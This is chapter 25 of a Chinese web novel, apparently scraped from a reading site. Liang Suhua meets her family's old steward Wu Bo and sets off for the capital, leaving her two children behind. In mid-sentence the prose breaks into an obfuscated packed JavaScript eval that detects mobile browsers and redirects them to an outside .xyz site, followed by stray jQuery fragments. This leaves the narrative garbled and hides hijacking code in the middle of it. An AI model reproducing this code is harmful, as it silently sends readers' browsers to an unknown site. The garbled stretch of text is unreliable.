25. 第二十五章

作品:《娴来恒伴

    “素华小姐?请问可是京城梁家梁素华小姐?”


    素华小姐,究竟有多久没人这样叫过她了,而会这样叫唤她的人只有……


    梁素华全身僵硬的转过身,只见一位两鬓斑白、年过半百却身体硬朗的长者站在不远处,待看清她的面容,长者是激动的红了眼眶。


    再看梁素华,更是用手捂着嘴巴泪花直流。


    “娘……”丁文川拉着梁素华的衣袖怯生生的唤了一声,他不明白娘为何突然就哭了,她是认识那位长者吗?


    梁素华泪眼朦胧的低头看他摇头。


    “小姐!素华小姐!”长者朝她走来,也是老泪纵横。


    “吴伯……”梁素华轻轻的唤了一声就哭得说不出一句话来,见到亲人的那一刻,所有的欣喜和委屈是一涌而上。


    来者正是京城梁家的总管吴伯,也是从小看着梁素华长大的长辈,同时也是当年协助梁素华顺利与丁明书私奔的助攻之一。


    时隔快二十年再次见到梁素华,吴伯也是感慨万分,到底是自己看着长大的孩子,当年那个天真烂漫无忧无虑甚至有点嚣张跋扈的小姑娘如今已为人母,眼前的她看起来成熟稳重又坚强勇敢。


    待看到梁素华身边的两个孩子时,吴伯神情激动:“这两位可是小小姐和小小少爷?”


    最初那强烈得无法压抑的情绪稳定下来后,梁素华擦干眼泪笑着说:“是呀,来,娴儿文川,叫吴伯。”


    “吴伯好。”两个孩子一个被吓呆一个是若有所思,可还是听话的叫人。


    吴伯听了是欣喜的直点头,嘴里更是一口一个“好孩子”停不下来。


    尽管见到吴伯是欣喜的,可时隔多年在这小镇巧遇又实在匪夷所思得很,吴伯身边也没人跟着,他一个人来到这里,这让梁素华是不得不多虑:“吴伯,您老实告诉我可是家里出了什么事?难道是娘?”


    吴伯轻叹一声:“咱们到茶摊坐下细说吧。”


    原来当年梁素华与丁明书私奔后,梁老爷子是气得放话与她断绝关系,尽管梁素华的爹娘爱女心切,无奈当时是老爷子当家,他们一个为人子女一个入赘梁家不敢违抗,只好暗地让人查探梁素华的近况偷偷汇报给他们,近日听闻梁素华死了丈夫,如今孤儿寡母的实属不易,梁素华的娘亲更是心疼担忧到生了场大病,直到现在也没好利索。


    丁娴坐在一旁静静的听,总算是听出了点什么,敢情当年棒打鸳鸯的只有那老爷子一人而已。


    “老爷和夫人一直都很挂念小姐你呀。”


    闻言梁素华又不由得落下泪来,她与爹娘的感情一向很好,当年为了爱情离家出走未能尽孝一直是她的遗憾和自责,今日听闻娘亲重病未好更是心急如焚,恨不得马上扑到娘亲的床前尽孝。


    “我与你回梁家。”良久,梁素华做了这个决定。


    吴伯的目光闪烁了一下,他垂下双眸低声问:“小小姐和小小少爷可是一同回去?”


    逐渐冷静下来的梁素华看向自己一双儿女稚嫩的小脸沉思,尽管在家被父母宠在外有丁明书宠,可她早已不是当年那个不懂事的小女孩,别说她是两个孩子的娘要保护他们,就是她对外公的了解,此番回家怕是有什么猫腻等着她,带着儿女反而不利。


    “关于这个我自有主意,”梁素华没有正面回答他,“吴伯可有马车?”


    “有的。”


    “还请吴伯用马车送我们回村,待我收拾好包袱立即启程回家。”


    回村的路上响起马蹄的哒哒声,时而伴着吴伯的一声“驾”,马车行走得稳稳当当,然而马车里却是安静而压抑。


    “娘……”丁文川忍不住唤了一声。


    梁素华对他摇摇头,示意他别说话,就怕隔墙有耳。


    要问她是不信任吴伯吗?是的,她不信任。虽说他是看着她长大的长辈,当年又协助她与丁明书成功私奔,可他到底是外公的人。


    丁文川咬唇听话的忍着一肚子疑问,明明是第一次坐马车,却丝毫没有亢奋和欣喜,只有坐立不安。


    梁素华垂头不语,丁娴也一路沉默,丁文川看看娘又看看姐姐,莫名有些心慌。


    丁娴微微侧坐,撩起车帘的一角,看着外面的景色沉思。


    她试着捋了一下——梁素华的娘家是京城出了名以做生意发家的富贵之家,虽说是祖上打下的江山,可他们的每一代都能发扬光大,到了梁老爷子刚好是第三代。


    传说中的富不过三代并没有发生在他身上,他经商有道,把家业是越扩越大。


    说来这个梁老爷子也是个痴情种,原配生了梁素华的娘亲不久便去世了,之后虽然续弦但也没有再娶别的妾室更没有再要孩子,续弦也是为了有人照顾自己独宠的宝贝女儿。


    梁素华的爹是个无父无母的孤儿,与梁素华的娘亲邂逅并相爱就干脆入了赘,她爹是个经商奇才,加上梁老爷子的有心栽培,很快就能独当一面,梁老爷子也渐渐退居幕后。


    尽管如此,梁家的一家之主、最终的话事人依旧是梁老爷子,这也就是当年梁素华与丁明书私奔后梁老爷子放话与她断绝关系而梁素华的爹娘不敢反驳的最终原因。


    梁素华在外生活近二十年,梁家一直对她不管不问,听吴伯说梁家在私下有派人偷偷汇报关于她的信息却也从没露过面,怎么她才死了老公不久,就在这山长水远的穷乡僻壤巧遇梁家的重量级人物——总管吴伯。


    要知道京城距离这里是可想而知的远,要说这次的巧遇没有任何丁点儿的预谋丁娴是打死不信的。


    哦,这并非说她不信梁素华的娘亲是真的生病未愈,而是质疑这会不会是个把梁素华骗回梁家的借口。


    她信得过梁素华的爹娘,信不过的是那个梁老爷子。


    不过为人子女,她能理解梁素华的一颗孝心,她不会阻止梁素华回娘家,若换是她,哪怕明知是龙潭虎穴也要回去,她只是觉得事情并不简单。


    马车在村口缓缓停下,这是梁素华的意思,她并不想让吴伯知道他们具体住在哪里。


    待三人都下了马车,梁素华对吴伯说:“还请吴伯在这儿稍等一会儿。”


    吴伯哪里不知晓她的用意,没有异议,反而眼里含笑闪过赞赏的微光,这个当年被宠得不谐世事的小姑娘如今已经在他们看不见的地方成长为一个聪慧果敢的女人了。


    回到家,梁素华也只是简单的收拾了几件衣裳,她把以前积攒起来的和今天得到的所有银票全都交给丁娴,包括一些铜钱碎银


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021575|162196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,自己仅拿了一些铜钱。


    丁娴觉得不妥,这出门在外怎能不带够银两防身。


    梁素华倒是不担心:“这一路有吴伯在就用不着花我一分钱,至于回到梁家,”她冷笑一声,“我到底流着梁家的血,就不信他们还能把我赶出门不成?”


    赶出门是不可能,丁娴就怕人一回去就被关起来不让走了。


    “娘……”丁文川怯怯的问,“那您啥时候回来?”


    梁素华看着他两也是万般不舍,她弯腰摸着丁文川的脑袋语重心长道:“娘的娘亲,也就是你们的外婆生病了,我是定要赶回去看望她的,不然就是不孝。”为了爱情她已经不孝了很多年,如今不想再留遗憾。


    丁文川乖乖点头,他心里是明白的,他只是舍不得离开娘这么久。


    梁素华直起身又看丁娴:“京城路远,就算是吴伯亲自驾车,我估摸着也要七天才能到家,待我到家搞清楚事情的始末就立马修书信找人送回来,这样算来,怕是也要花上半个月的时间。”


    “这进京的路途遥远,路上可有危险?就你与吴伯二人可否安全?”丁娴还是不放心。


    电视上不都这样演的,遥遥路途中难保不遇上个山贼土匪强盗,劫财也就算了,就怕劫财劫色还杀人灭口亦或是把人留下当个压寨夫人,他们一个俏寡妇一个头发花白的老者,丁娴实在不能不担心,想着要不要劝他们请个镖爷一路护着。


    关于这点梁素华反倒是最不担心的,她笑着解释:“放心,吴伯年轻的时候可是军中的队长,一次意外受伤被我外公所救,便一直惦记着报恩,故在因伤离开军营后携妻女到梁家委身做了一个总管。虽说是受过伤,可一身的武艺还在,你别看他现在一副头发花白的慈祥老者模样,我敢说就是三五个年轻人也不容易近得他身,是故这一路他定能护我周全。”


    原来是这样,丁娴释然,难怪她总觉得这个吴伯的气场气度和气质都非常不凡,非但没有一般老者的体虚和老态龙钟,反而隐约透着一股军人的正气,不曾想他竟真是军营里出来的人。


    这梁老爷子是懂救人的。


    眼看该交代的也交代得差不多,梁素华挎上包袱起身就走,丁娴拉着丁文川把人送到家门口。


    梁素华走出大门回头对他们说:“就送到这吧,娴儿要好好照顾弟弟,文川也要听姐姐的话,”她依依不舍的看着他们,这还是头一次要与儿女分开,还没走就已经开始想念,强忍着离别的酸涩,“有什么就去找肖恒,我相信他会照顾你们的。”


    丁文川鼻头红红的强忍着泪意:“娘您放心,我一定会乖乖听姐姐的话,您早去早回。”


    梁素华走回去把丁文川搂进怀里,又伸手摸了摸丁娴的小脸,强颜欢笑道:“都乖乖的等娘回来。”


    坐在马车里的梁素华一边听着吴伯赶车的声音一边摸着挂在胸口的玉佩,双眸里闪烁着坚定的光芒。


    丁娴和丁文川一直站在大门口,哪怕是早已看不见梁素华的背影,他们也依然固执的站在那里。


    “姐姐……”丁文川拉了拉丁娴的衣袖,他知道自己必须要表现得勇敢,可年纪尚小又是头一次与娘亲分别,心里很是不安。


    “走!咱们到肖大哥家串门去!”